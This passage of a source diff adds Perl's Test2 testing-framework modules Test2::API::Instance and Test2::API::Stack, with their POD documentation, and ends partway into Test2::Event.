+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Instance.pm
@@ -0,0 +1,916 @@
+package Test2::API::Instance;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+our @CARP_NOT = qw/Test2::API Test2::API::Instance Test2::IPC::Driver Test2::Formatter/;
+use Carp qw/confess carp/;
+use Scalar::Util qw/reftype/;
+
+use Test2::Util qw/get_tid USE_THREADS CAN_FORK pkg_to_file try CAN_SIGSYS/;
+
+use Test2::EventFacet::Trace();
+use Test2::API::Stack();
+
+use Test2::Util::HashBase qw{
+ _pid _tid
+ no_wait
+ finalized loaded
+ ipc stack formatter
+ contexts
+
+ add_uuid_via
+
+ -preload
+
+ ipc_disabled
+ ipc_shm_size
+ ipc_shm_last
+ ipc_shm_id
+ ipc_polling
+ ipc_drivers
+ ipc_timeout
+ formatters
+
+ exit_callbacks
+ post_load_callbacks
+ context_acquire_callbacks
+ context_init_callbacks
+ context_release_callbacks
+ pre_subtest_callbacks
+};
+
+sub DEFAULT_IPC_TIMEOUT() { 30 }
+
+sub pid { $_[0]->{+_PID} }
+sub tid { $_[0]->{+_TID} }
+
+# Wrap around the getters that should call _finalize.
+BEGIN {
+ for my $finalizer (IPC, FORMATTER) {
+ my $orig = __PACKAGE__->can($finalizer);
+ my $new = sub {
+ my $self = shift;
+ $self->_finalize unless $self->{+FINALIZED};
+ $self->$orig;
+ };
+
+ no strict 'refs';
+ no warnings 'redefine';
+ *{$finalizer} = $new;
+ }
+}
+
+sub has_ipc { !!$_[0]->{+IPC} }
+
+sub import {
+ my $class = shift;
+ return unless @_;
+ my ($ref) = @_;
+ $$ref = $class->new;
+}
+
+sub init { $_[0]->reset }
+
+sub start_preload {
+ my $self = shift;
+
+ confess "preload cannot be started, Test2::API has already been initialized"
+ if $self->{+FINALIZED} || $self->{+LOADED};
+
+ return $self->{+PRELOAD} = 1;
+}
+
+sub stop_preload {
+ my $self = shift;
+
+ return 0 unless $self->{+PRELOAD};
+ $self->{+PRELOAD} = 0;
+
+ $self->post_preload_reset();
+
+ return 1;
+}
+
+sub post_preload_reset {
+ my $self = shift;
+
+ delete $self->{+_PID};
+ delete $self->{+_TID};
+
+ $self->{+ADD_UUID_VIA} = undef unless exists $self->{+ADD_UUID_VIA};
+
+ $self->{+CONTEXTS} = {};
+
+ $self->{+FORMATTERS} = [];
+
+ $self->{+FINALIZED} = undef;
+ $self->{+IPC} = undef;
+ $self->{+IPC_DISABLED} = $ENV{T2_NO_IPC} ? 1 : 0;
+
+ $self->{+IPC_TIMEOUT} = DEFAULT_IPC_TIMEOUT() unless defined $self->{+IPC_TIMEOUT};
+
+ $self->{+LOADED} = 0;
+
+ $self->{+STACK} ||= Test2::API::Stack->new;
+}
+
+sub reset {
+ my $self = shift;
+
+ delete $self->{+_PID};
+ delete $self->{+_TID};
+
+ $self->{+ADD_UUID_VIA} = undef;
+
+ $self->{+CONTEXTS} = {};
+
+ $self->{+IPC_DRIVERS} = [];
+ $self->{+IPC_POLLING} = undef;
+
+ $self->{+FORMATTERS} = [];
+ $self->{+FORMATTER} = undef;
+
+ $self->{+FINALIZED} = undef;
+ $self->{+IPC} = undef;
+ $self->{+IPC_DISABLED} = $ENV{T2_NO_IPC} ? 1 : 0;
+
+ $self->{+IPC_TIMEOUT} = DEFAULT_IPC_TIMEOUT() unless defined $self->{+IPC_TIMEOUT};
+
+ $self->{+NO_WAIT} = 0;
+ $self->{+LOADED} = 0;
+
+ $self->{+EXIT_CALLBACKS} = [];
+ $self->{+POST_LOAD_CALLBACKS} = [];
+ $self->{+CONTEXT_ACQUIRE_CALLBACKS} = [];
+ $self->{+CONTEXT_INIT_CALLBACKS} = [];
+ $self->{+CONTEXT_RELEASE_CALLBACKS} = [];
+ $self->{+PRE_SUBTEST_CALLBACKS} = [];
+
+ $self->{+STACK} = Test2::API::Stack->new;
+}
+
+sub _finalize {
+ my $self = shift;
+ my ($caller) = @_;
+ $caller ||= [caller(1)];
+
+ confess "Attempt to initialize Test2::API during preload"
+ if $self->{+PRELOAD};
+
+ $self->{+FINALIZED} = $caller;
+
+ $self->{+_PID} = $$ unless defined $self->{+_PID};
+ $self->{+_TID} = get_tid() unless defined $self->{+_TID};
+
+ unless ($self->{+FORMATTER}) {
+ my ($formatter, $source);
+ if ($ENV{T2_FORMATTER}) {
+ $source = "set by the 'T2_FORMATTER' environment variable";
+
+ if ($ENV{T2_FORMATTER} =~ m/^(\+)?(.*)$/) {
+ $formatter = $1 ? $2 : "Test2::Formatter::$2"
+ }
+ else {
+ $formatter = '';
+ }
+ }
+ elsif (@{$self->{+FORMATTERS}}) {
+ ($formatter) = @{$self->{+FORMATTERS}};
+ $source = "Most recently added";
+ }
+ else {
+ $formatter = 'Test2::Formatter::TAP';
+ $source = 'default formatter';
+ }
+
+ unless (ref($formatter) || $formatter->can('write')) {
+ my $file = pkg_to_file($formatter);
+ my ($ok, $err) = try { require $file };
+ unless ($ok) {
+ my $line = "* COULD NOT LOAD FORMATTER '$formatter' ($source) *";
+ my $border = '*' x length($line);
+ die "\n\n $border\n $line\n $border\n\n$err";
+ }
+ }
+
+ $self->{+FORMATTER} = $formatter;
+ }
+
+ # Turn on IPC if threads are on, drivers are registered, or the Test2::IPC
+ # module is loaded.
+ return if $self->{+IPC_DISABLED};
+ return unless USE_THREADS || $INC{'Test2/IPC.pm'} || @{$self->{+IPC_DRIVERS}};
+
+ # Turn on polling by default, people expect it.
+ $self->enable_ipc_polling;
+
+ unless (@{$self->{+IPC_DRIVERS}}) {
+ my ($ok, $error) = try { require Test2::IPC::Driver::Files };
+ die $error unless $ok;
+ push @{$self->{+IPC_DRIVERS}} => 'Test2::IPC::Driver::Files';
+ }
+
+ for my $driver (@{$self->{+IPC_DRIVERS}}) {
+ next unless $driver->can('is_viable') && $driver->is_viable;
+ $self->{+IPC} = $driver->new or next;
+ $self->ipc_enable_shm if $self->{+IPC}->use_shm;
+ return;
+ }
+
+ die "IPC has been requested, but no viable drivers were found. Aborting...\n";
+}
+
+sub formatter_set { $_[0]->{+FORMATTER} ? 1 : 0 }
+
+sub add_formatter {
+ my $self = shift;
+ my ($formatter) = @_;
+ unshift @{$self->{+FORMATTERS}} => $formatter;
+
+ return unless $self->{+FINALIZED};
+
+ # Why is the @CARP_NOT entry not enough?
+ local %Carp::Internal = %Carp::Internal;
+ $Carp::Internal{'Test2::Formatter'} = 1;
+
+ carp "Formatter $formatter loaded too late to be used as the global formatter";
+}
+
+sub add_context_acquire_callback {
+ my $self = shift;
+ my ($code) = @_;
+
+ my $rtype = reftype($code) || "";
+
+ confess "Context-acquire callbacks must be coderefs"
+ unless $code && $rtype eq 'CODE';
+
+ push @{$self->{+CONTEXT_ACQUIRE_CALLBACKS}} => $code;
+}
+
+sub add_context_init_callback {
+ my $self = shift;
+ my ($code) = @_;
+
+ my $rtype = reftype($code) || "";
+
+ confess "Context-init callbacks must be coderefs"
+ unless $code && $rtype eq 'CODE';
+
+ push @{$self->{+CONTEXT_INIT_CALLBACKS}} => $code;
+}
+
+sub add_context_release_callback {
+ my $self = shift;
+ my ($code) = @_;
+
+ my $rtype = reftype($code) || "";
+
+ confess "Context-release callbacks must be coderefs"
+ unless $code && $rtype eq 'CODE';
+
+ push @{$self->{+CONTEXT_RELEASE_CALLBACKS}} => $code;
+}
+
+sub add_post_load_callback {
+ my $self = shift;
+ my ($code) = @_;
+
+ my $rtype = reftype($code) || "";
+
+ confess "Post-load callbacks must be coderefs"
+ unless $code && $rtype eq 'CODE';
+
+ push @{$self->{+POST_LOAD_CALLBACKS}} => $code;
+ $code->() if $self->{+LOADED};
+}
+
+sub add_pre_subtest_callback {
+ my $self = shift;
+ my ($code) = @_;
+
+ my $rtype = reftype($code) || "";
+
+ confess "Pre-subtest callbacks must be coderefs"
+ unless $code && $rtype eq 'CODE';
+
+ push @{$self->{+PRE_SUBTEST_CALLBACKS}} => $code;
+}
+
+sub load {
+ my $self = shift;
+ unless ($self->{+LOADED}) {
+ confess "Attempt to initialize Test2::API during preload"
+ if $self->{+PRELOAD};
+
+ $self->{+_PID} = $$ unless defined $self->{+_PID};
+ $self->{+_TID} = get_tid() unless defined $self->{+_TID};
+
+ # This is for https://github.com/Test-More/test-more/issues/16
+ # and https://rt.perl.org/Public/Bug/Display.html?id=127774
+ # END blocks run in reverse order. This insures the END block is loaded
+ # as late as possible. It will not solve all cases, but it helps.
+ eval "END { Test2::API::test2_set_is_end() }; 1" or die $@;
+
+ $self->{+LOADED} = 1;
+ $_->() for @{$self->{+POST_LOAD_CALLBACKS}};
+ }
+ return $self->{+LOADED};
+}
+
+sub add_exit_callback {
+ my $self = shift;
+ my ($code) = @_;
+ my $rtype = reftype($code) || "";
+
+ confess "End callbacks must be coderefs"
+ unless $code && $rtype eq 'CODE';
+
+ push @{$self->{+EXIT_CALLBACKS}} => $code;
+}
+
+sub ipc_disable {
+ my $self = shift;
+
+ confess "Attempt to disable IPC after it has been initialized"
+ if $self->{+IPC};
+
+ $self->{+IPC_DISABLED} = 1;
+}
+
+sub add_ipc_driver {
+ my $self = shift;
+ my ($driver) = @_;
+ unshift @{$self->{+IPC_DRIVERS}} => $driver;
+
+ return unless $self->{+FINALIZED};
+
+ # Why is the @CARP_NOT entry not enough?
+ local %Carp::Internal = %Carp::Internal;
+ $Carp::Internal{'Test2::IPC::Driver'} = 1;
+
+ carp "IPC driver $driver loaded too late to be used as the global ipc driver";
+}
+
+sub enable_ipc_polling {
+ my $self = shift;
+
+ $self->{+_PID} = $$ unless defined $self->{+_PID};
+ $self->{+_TID} = get_tid() unless defined $self->{+_TID};
+
+ $self->add_context_init_callback(
+ # This is called every time a context is created, it needs to be fast.
+ # $_[0] is a context object
+ sub {
+ return unless $self->{+IPC_POLLING};
+ return $_[0]->{hub}->cull unless $self->{+IPC_SHM_ID};
+
+ my $val;
+ if(shmread($self->{+IPC_SHM_ID}, $val, 0, $self->{+IPC_SHM_SIZE})) {
+ return if $val eq $self->{+IPC_SHM_LAST};
+ $self->{+IPC_SHM_LAST} = $val;
+ }
+ else {
+ warn "SHM Read error: $!\n";
+ }
+
+ $_[0]->{hub}->cull;
+ }
+ ) unless defined $self->ipc_polling;
+
+ $self->set_ipc_polling(1);
+}
+
+sub ipc_enable_shm {
+ my $self = shift;
+
+ return 1 if defined $self->{+IPC_SHM_ID};
+
+ $self->{+_PID} = $$ unless defined $self->{+_PID};
+ $self->{+_TID} = get_tid() unless defined $self->{+_TID};
+
+ my ($ok, $err) = try {
+ # SysV IPC can be available but not enabled.
+ #
+ # In some systems (*BSD) accessing the SysV IPC APIs without
+ # them being enabled can cause a SIGSYS. We suppress the SIGSYS
+ # and then get ENOSYS from the calls.
+ local $SIG{SYS} = 'IGNORE' if CAN_SIGSYS;
+
+ require IPC::SysV;
+
+ my $ipc_key = IPC::SysV::IPC_PRIVATE();
+ my $shm_size = $self->{+IPC}->can('shm_size') ? $self->{+IPC}->shm_size : 64;
+ my $shm_id = shmget($ipc_key, $shm_size, 0666) or die "Could not get shm: $!";
+
+ my $initial = 'a' x $shm_size;
+ shmwrite($shm_id, $initial, 0, $shm_size) or die "Could not write to shm: $!";
+ my $val;
+ shmread($shm_id, $val, 0, $shm_size) or die "Could not read from shm: $!";
+ die "Read SHM value does not match the initial value ('$val' vs '$initial')"
+ unless $val eq $initial;
+
+ $self->{+IPC_SHM_SIZE} = $shm_size;
+ $self->{+IPC_SHM_ID} = $shm_id;
+ $self->{+IPC_SHM_LAST} = $initial;
+ };
+
+ return $ok;
+}
+
+sub ipc_free_shm {
+ my $self = shift;
+
+ my $id = delete $self->{+IPC_SHM_ID};
+ return unless defined $id;
+
+ shmctl($id, IPC::SysV::IPC_RMID(), 0);
+}
+
+sub get_ipc_pending {
+ my $self = shift;
+ return -1 unless defined $self->{+IPC_SHM_ID};
+ my $val;
+ shmread($self->{+IPC_SHM_ID}, $val, 0, $self->{+IPC_SHM_SIZE}) or return -1;
+ return 0 if $val eq $self->{+IPC_SHM_LAST};
+ $self->{+IPC_SHM_LAST} = $val;
+ return 1;
+}
+
+sub set_ipc_pending {
+ my $self = shift;
+
+ return undef unless defined $self->{+IPC_SHM_ID};
+
+ my ($val) = @_;
+
+ confess "value is required for set_ipc_pending"
+ unless $val;
+
+ shmwrite($self->{+IPC_SHM_ID}, $val, 0, $self->{+IPC_SHM_SIZE});
+}
+
+sub disable_ipc_polling {
+ my $self = shift;
+ return unless defined $self->{+IPC_POLLING};
+ $self->{+IPC_POLLING} = 0;
+}
+
+sub _ipc_wait {
+ my ($timeout) = @_;
+ my $fail = 0;
+
+ $timeout = DEFAULT_IPC_TIMEOUT() unless defined $timeout;
+
+ my $ok = eval {
+ if (CAN_FORK) {
+ local $SIG{ALRM} = sub { die "Timeout waiting on child processes" };
+ alarm $timeout;
+
+ while (1) {
+ my $pid = CORE::wait();
+ my $err = $?;
+ last if $pid == -1;
+ next unless $err;
+ $fail++;
+
+ my $sig = $err & 127;
+ my $exit = $err >> 8;
+ warn "Process $pid did not exit cleanly (wstat: $err, exit: $exit, sig: $sig)\n";
+ }
+
+ alarm 0;
+ }
+
+ if (USE_THREADS) {
+ my $start = time;
+
+ while (1) {
+ last unless threads->list();
+ die "Timeout waiting on child thread" if time - $start >= $timeout;
+ sleep 1;
+ for my $t (threads->list) {
+ # threads older than 1.34 do not have this :-(
+ next if $t->can('is_joinable') && !$t->is_joinable;
+ $t->join;
+ # In older threads we cannot check if a thread had an error unless
+ # we control it and its return.
+ my $err = $t->can('error') ? $t->error : undef;
+ next unless $err;
+ my $tid = $t->tid();
+ $fail++;
+ chomp($err);
+ warn "Thread $tid did not end cleanly: $err\n";
+ }
+ }
+ }
+
+ 1;
+ };
+ my $error = $@;
+
+ return 0 if $ok && !$fail;
+ warn $error unless $ok;
+ return 255;
+}
+
+sub DESTROY {
+ my $self = shift;
+
+ return if $self->{+PRELOAD};
+
+ return unless defined($self->{+_PID}) && $self->{+_PID} == $$;
+ return unless defined($self->{+_TID}) && $self->{+_TID} == get_tid();
+
+ shmctl($self->{+IPC_SHM_ID}, IPC::SysV::IPC_RMID(), 0)
+ if defined $self->{+IPC_SHM_ID};
+}
+
+sub set_exit {
+ my $self = shift;
+
+ return if $self->{+PRELOAD};
+
+ my $exit = $?;
+ my $new_exit = $exit;
+
+ if ($INC{'Test/Builder.pm'} && $Test::Builder::VERSION ne $Test2::API::VERSION) {
+ print STDERR <<" EOT";
+
+********************************************************************************
+* *
+* Test::Builder -- Test2::API version mismatch detected *
+* *
+********************************************************************************
+ Test2::API Version: $Test2::API::VERSION
+Test::Builder Version: $Test::Builder::VERSION
+
+This is not a supported configuration, you will have problems.
+
+ EOT
+ }
+
+ for my $ctx (values %{$self->{+CONTEXTS}}) {
+ next unless $ctx;
+
+ next if $ctx->_aborted && ${$ctx->_aborted};
+
+ # Only worry about contexts in this PID
+ my $trace = $ctx->trace || next;
+ next unless $trace->pid && $trace->pid == $$;
+
+ # Do not worry about contexts that have no hub
+ my $hub = $ctx->hub || next;
+
+ # Do not worry if the state came to a sudden end.
+ next if $hub->bailed_out;
+ next if defined $hub->skip_reason;
+
+ # now we worry
+ $trace->alert("context object was never released! This means a testing tool is behaving very badly");
+
+ $exit = 255;
+ $new_exit = 255;
+ }
+
+ if (!defined($self->{+_PID}) or !defined($self->{+_TID}) or $self->{+_PID} != $$ or $self->{+_TID} != get_tid()) {
+ $? = $exit;
+ return;
+ }
+
+ my @hubs = $self->{+STACK} ? $self->{+STACK}->all : ();
+
+ if (@hubs and $self->{+IPC} and !$self->{+NO_WAIT}) {
+ local $?;
+ my %seen;
+ for my $hub (reverse @hubs) {
+ my $ipc = $hub->ipc or next;
+ next if $seen{$ipc}++;
+ $ipc->waiting();
+ }
+
+ my $ipc_exit = _ipc_wait($self->{+IPC_TIMEOUT});
+ $new_exit ||= $ipc_exit;
+ }
+
+ # None of this is necessary if we never got a root hub
+ if(my $root = shift @hubs) {
+ my $trace = Test2::EventFacet::Trace->new(
+ frame => [__PACKAGE__, __FILE__, 0, __PACKAGE__ . '::END'],
+ detail => __PACKAGE__ . ' END Block finalization',
+ );
+ my $ctx = Test2::API::Context->new(
+ trace => $trace,
+ hub => $root,
+ );
+
+ if (@hubs) {
+ $ctx->diag("Test ended with extra hubs on the stack!");
+ $new_exit = 255;
+ }
+
+ unless ($root->no_ending) {
+ local $?;
+ $root->finalize($trace) unless $root->ended;
+ $_->($ctx, $exit, \$new_exit) for @{$self->{+EXIT_CALLBACKS}};
+ $new_exit ||= $root->failed;
+ $new_exit ||= 255 unless $root->is_passing;
+ }
+ }
+
+ $new_exit = 255 if $new_exit > 255;
+
+ if ($new_exit && eval { require Test2::API::Breakage; 1 }) {
+ my @warn = Test2::API::Breakage->report();
+
+ if (@warn) {
+ print STDERR "\nYou have loaded versions of test modules known to have problems with Test2.\nThis could explain some test failures.\n";
+ print STDERR "$_\n" for @warn;
+ print STDERR "\n";
+ }
+ }
+
+ $? = $new_exit;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::API::Instance - Object used by Test2::API under the hood
+
+=head1 DESCRIPTION
+
+This object encapsulates the global shared state tracked by
+L<Test2>. A single global instance of this package is stored (and
+obscured) by the L<Test2::API> package.
+
+There is no reason to directly use this package. This package is documented for
+completeness. This package can change, or go away completely at any time.
+Directly using, or monkeypatching this package is not supported in any way
+shape or form.
+
+=head1 SYNOPSIS
+
+ use Test2::API::Instance;
+
+ my $obj = Test2::API::Instance->new;
+
+=over 4
+
+=item $pid = $obj->pid
+
+PID of this instance.
+
+=item $obj->tid
+
+Thread ID of this instance.
+
+=item $obj->reset()
+
+Reset the object to defaults.
+
+=item $obj->load()
+
+Set the internal state to loaded, and run and stored post-load callbacks.
+
+=item $bool = $obj->loaded
+
+Check if the state is set to loaded.
+
+=item $arrayref = $obj->post_load_callbacks
+
+Get the post-load callbacks.
+
+=item $obj->add_post_load_callback(sub { ... })
+
+Add a post-load callback. If C<load()> has already been called then the callback will
+be immediately executed. If C<load()> has not been called then the callback will be
+stored and executed later when C<load()> is called.
+
+=item $hashref = $obj->contexts()
+
+Get a hashref of all active contexts keyed by hub id.
+
+=item $arrayref = $obj->context_acquire_callbacks
+
+Get all context acquire callbacks.
+
+=item $arrayref = $obj->context_init_callbacks
+
+Get all context init callbacks.
+
+=item $arrayref = $obj->context_release_callbacks
+
+Get all context release callbacks.
+
+=item $arrayref = $obj->pre_subtest_callbacks
+
+Get all pre-subtest callbacks.
+
+=item $obj->add_context_init_callback(sub { ... })
+
+Add a context init callback. Subs are called every time a context is created. Subs
+get the newly created context as their only argument.
+
+=item $obj->add_context_release_callback(sub { ... })
+
+Add a context release callback. Subs are called every time a context is released. Subs
+get the released context as their only argument. These callbacks should not
+call release on the context.
+
+=item $obj->add_pre_subtest_callback(sub { ... })
+
+Add a pre-subtest callback. Subs are called every time a subtest is
+going to be run. Subs get the subtest name, coderef, and any
+arguments.
+
+=item $obj->set_exit()
+
+This is intended to be called in an C<END { ... }> block. This will look at
+test state and set $?. This will also call any end callbacks, and wait on child
+processes/threads.
+
+=item $obj->ipc_enable_shm()
+
+Turn on SHM for IPC (if possible)
+
+=item $shm_id = $obj->ipc_shm_id()
+
+If SHM is enabled for IPC this will be the shm_id for it.
+
+=item $shm_size = $obj->ipc_shm_size()
+
+If SHM is enabled for IPC this will be the size of it.
+
+=item $shm_last_val = $obj->ipc_shm_last()
+
+If SHM is enabled for IPC this will return the last SHM value seen.
+
+=item $obj->set_ipc_pending($val)
+
+use the IPC SHM to tell other processes and threads there is a pending event.
+C<$val> should be a unique value no other thread/process will generate.
+
+B<Note:> This will also make the current process see a pending event. It does
+not set C<ipc_shm_last()>, this is important because doing so could hide a
+previous change.
+
+=item $pending = $obj->get_ipc_pending()
+
+This returns -1 if SHM is not enabled for IPC.
+
+This returns 0 if the SHM value matches the last known value, which means there
+are no pending events.
+
+This returns 1 if the SHM value has changed, which means there are probably
+pending events.
+
+When 1 is returned this will set C<< $obj->ipc_shm_last() >>.
+
+=item $timeout = $obj->ipc_timeout;
+
+=item $obj->set_ipc_timeout($timeout);
+
+How long to wait for child processes and threads before aborting.
+
+=item $drivers = $obj->ipc_drivers
+
+Get the list of IPC drivers.
+
+=item $obj->add_ipc_driver($DRIVER_CLASS)
+
+Add an IPC driver to the list. The most recently added IPC driver will become
+the global one during initialization. If a driver is added after initialization
+has occurred a warning will be generated:
+
+ "IPC driver $driver loaded too late to be used as the global ipc driver"
+
+=item $bool = $obj->ipc_polling
+
+Check if polling is enabled.
+
+=item $obj->enable_ipc_polling
+
+Turn on polling. This will cull events from other processes and threads every
+time a context is created.
+
+=item $obj->disable_ipc_polling
+
+Turn off IPC polling.
+
+=item $bool = $obj->no_wait
+
+=item $bool = $obj->set_no_wait($bool)
+
+Get/Set no_wait. This option is used to turn off process/thread waiting at exit.
+
+=item $arrayref = $obj->exit_callbacks
+
+Get the exit callbacks.
+
+=item $obj->add_exit_callback(sub { ... })
+
+Add an exit callback. This callback will be called by C<set_exit()>.
+
+=item $bool = $obj->finalized
+
+Check if the object is finalized. Finalization happens when either C<ipc()>,
+C<stack()>, or C<format()> are called on the object. Once finalization happens
+these fields are considered unchangeable (not enforced here, enforced by
+L<Test2>).
+
+=item $ipc = $obj->ipc
+
+Get the one true IPC instance.
+
+=item $obj->ipc_disable
+
+Turn IPC off
+
+=item $bool = $obj->ipc_disabled
+
+Check if IPC is disabled
+
+=item $stack = $obj->stack
+
+Get the one true hub stack.
+
+=item $formatter = $obj->formatter
+
+Get the global formatter. By default this is the C<'Test2::Formatter::TAP'>
+package. This could be any package that implements the C<write()> method. This
+can also be an instantiated object.
+
+=item $bool = $obj->formatter_set()
+
+Check if a formatter has been set.
+
+=item $obj->add_formatter($class)
+
+=item $obj->add_formatter($obj)
+
+Add a formatter. The most recently added formatter will become the global one
+during initialization. If a formatter is added after initialization has occurred
+a warning will be generated:
+
+ "Formatter $formatter loaded too late to be used as the global formatter"
+
+=item $obj->set_add_uuid_via(sub { ... })
+
+=item $sub = $obj->add_uuid_via()
+
+This allows you to provide a UUID generator. If provided UUIDs will be attached
+to all events, hubs, and contexts. This is useful for storing, tracking, and
+linking these objects.
+
+The sub you provide should always return a unique identifier. Most things will
+expect a proper UUID string, however nothing in Test2::API enforces this.
+
+The sub will receive exactly 1 argument, the type of thing being tagged
+'context', 'hub', or 'event'. In the future additional things may be tagged, in
+which case new strings will be passed in. These are purely informative, you can
+(and usually should) ignore them.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Stack.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Stack.pm
new file mode 100644
index 00000000000..8007e1a6540
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Stack.pm
@@ -0,0 +1,220 @@
+package Test2::API::Stack;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Test2::Hub();
+
+use Carp qw/confess/;
+
+sub new {
+ my $class = shift;
+ return bless [], $class;
+}
+
+sub new_hub {
+ my $self = shift;
+ my %params = @_;
+
+ my $class = delete $params{class} || 'Test2::Hub';
+
+ my $hub = $class->new(%params);
+
+ if (@$self) {
+ $hub->inherit($self->[-1], %params);
+ }
+ else {
+ require Test2::API;
+ $hub->format(Test2::API::test2_formatter()->new_root)
+ unless $hub->format || exists($params{formatter});
+
+ my $ipc = Test2::API::test2_ipc();
+ if ($ipc && !$hub->ipc && !exists($params{ipc})) {
+ $hub->set_ipc($ipc);
+ $ipc->add_hub($hub->hid);
+ }
+ }
+
+ push @$self => $hub;
+
+ $hub;
+}
+
+sub top {
+ my $self = shift;
+ return $self->new_hub unless @$self;
+ return $self->[-1];
+}
+
+sub peek {
+ my $self = shift;
+ return @$self ? $self->[-1] : undef;
+}
+
+sub cull {
+ my $self = shift;
+ $_->cull for reverse @$self;
+}
+
+sub all {
+ my $self = shift;
+ return @$self;
+}
+
+sub clear {
+ my $self = shift;
+ @$self = ();
+}
+
+# Do these last without keywords in order to prevent them from getting used
+# when we want the real push/pop.
+
+{
+ no warnings 'once';
+
+ *push = sub {
+ my $self = shift;
+ my ($hub) = @_;
+ $hub->inherit($self->[-1]) if @$self;
+ push @$self => $hub;
+ };
+
+ *pop = sub {
+ my $self = shift;
+ my ($hub) = @_;
+ confess "No hubs on the stack"
+ unless @$self;
+ confess "You cannot pop the root hub"
+ if 1 == @$self;
+ confess "Hub stack mismatch, attempted to pop incorrect hub"
+ unless $self->[-1] == $hub;
+ pop @$self;
+ };
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::API::Stack - Object to manage a stack of L<Test2::Hub>
+instances.
+
+=head1 ***INTERNALS NOTE***
+
+B<The internals of this package are subject to change at any time!> The public
+methods provided will not change in backwards incompatible ways, but the
+underlying implementation details might. B<Do not break encapsulation here!>
+
+=head1 DESCRIPTION
+
+This module is used to represent and manage a stack of L<Test2::Hub>
+objects. Hubs are usually in a stack so that you can push a new hub into place
+that can intercept and handle events differently than the primary hub.
+
+=head1 SYNOPSIS
+
+ my $stack = Test2::API::Stack->new;
+ my $hub = $stack->top;
+
+=head1 METHODS
+
+=over 4
+
+=item $stack = Test2::API::Stack->new()
+
+This will create a new empty stack instance. All arguments are ignored.
+
+=item $hub = $stack->new_hub()
+
+=item $hub = $stack->new_hub(%params)
+
+=item $hub = $stack->new_hub(%params, class => $class)
+
+This will generate a new hub and push it to the top of the stack. Optionally
+you can provide arguments that will be passed into the constructor for the
+L<Test2::Hub> object.
+
+If you specify the C<< 'class' => $class >> argument, the new hub will be an
+instance of the specified class.
+
+Unless your parameters specify C<'formatter'> or C<'ipc'> arguments, the
+formatter and IPC instance will be inherited from the current top hub. You can
+set the parameters to C<undef> to avoid having a formatter or IPC instance.
+
+If there is no top hub, and you do not ask to leave IPC and formatter undef,
+then a new formatter will be created, and the IPC instance from
+L<Test2::API> will be used.
+
+=item $hub = $stack->top()
+
+This will return the top hub from the stack. If there is no top hub yet this
+will create it.
+
+=item $hub = $stack->peek()
+
+This will return the top hub from the stack. If there is no top hub yet this
+will return undef.
+
+=item $stack->cull
+
+This will call C<< $hub->cull >> on all hubs in the stack.
+
+=item @hubs = $stack->all
+
+This will return all the hubs in the stack as a list.
+
+=item $stack->clear
+
+This will completely remove all hubs from the stack. Normally you do not want
+to do this, but there are a few valid reasons for it.
+
+=item $stack->push($hub)
+
+This will push the new hub onto the stack.
+
+=item $stack->pop($hub)
+
+This will pop a hub from the stack, if the hub at the top of the stack does not
+match the hub you expect (passed in as an argument) it will throw an exception.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event.pm
new file mode 100644
index 00000000000..307d49b75e5
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event.pm
@@ -0,0 +1,774 @@
+package Test2::Event;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Scalar::Util qw/blessed reftype/;
+use Carp qw/croak/;
+
+use Test2::Util::HashBase qw/trace -amnesty uuid -hubs/;
+use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/;
+use Test2::Util qw(pkg_to_file);
+
+use Test2::EventFacet::About();
+use Test2::EventFacet::Amnesty();
+use Test2::EventFacet::Assert();
+use Test2::EventFacet::Control();
+use Test2::EventFacet::Error();
+use Test2::EventFacet::Info();
+use Test2::EventFacet::Meta();
+use Test2::EventFacet::Parent();
+use Test2::EventFacet::Plan();
+use Test2::EventFacet::Trace();
+use Test2::EventFacet::Hub();
+
+# Legacy tools will expect this to be loaded now
+require Test2::Util::Trace;
+
+my %LOADED_FACETS = (
+ 'about' => 'Test2::EventFacet::About',
+ 'amnesty' => 'Test2::EventFacet::Amnesty',
+ 'assert' => 'Test2::EventFacet::Assert',
+ 'control' => 'Test2::EventFacet::Control',
+ 'errors' => 'Test2::EventFacet::Error',
+ 'info' => 'Test2::EventFacet::Info',
+ 'meta' => 'Test2::EventFacet::Meta',
+ 'parent' => 'Test2::EventFacet::Parent',
+ 'plan' => 'Test2::EventFacet::Plan',
+ 'trace' => 'Test2::EventFacet::Trace',
+ 'hubs' => 'Test2::EventFacet::Hub',
+);
+
+sub FACET_TYPES { sort values %LOADED_FACETS }
+
+sub load_facet {
+ my $class = shift;
+ my ($facet) = @_;
+
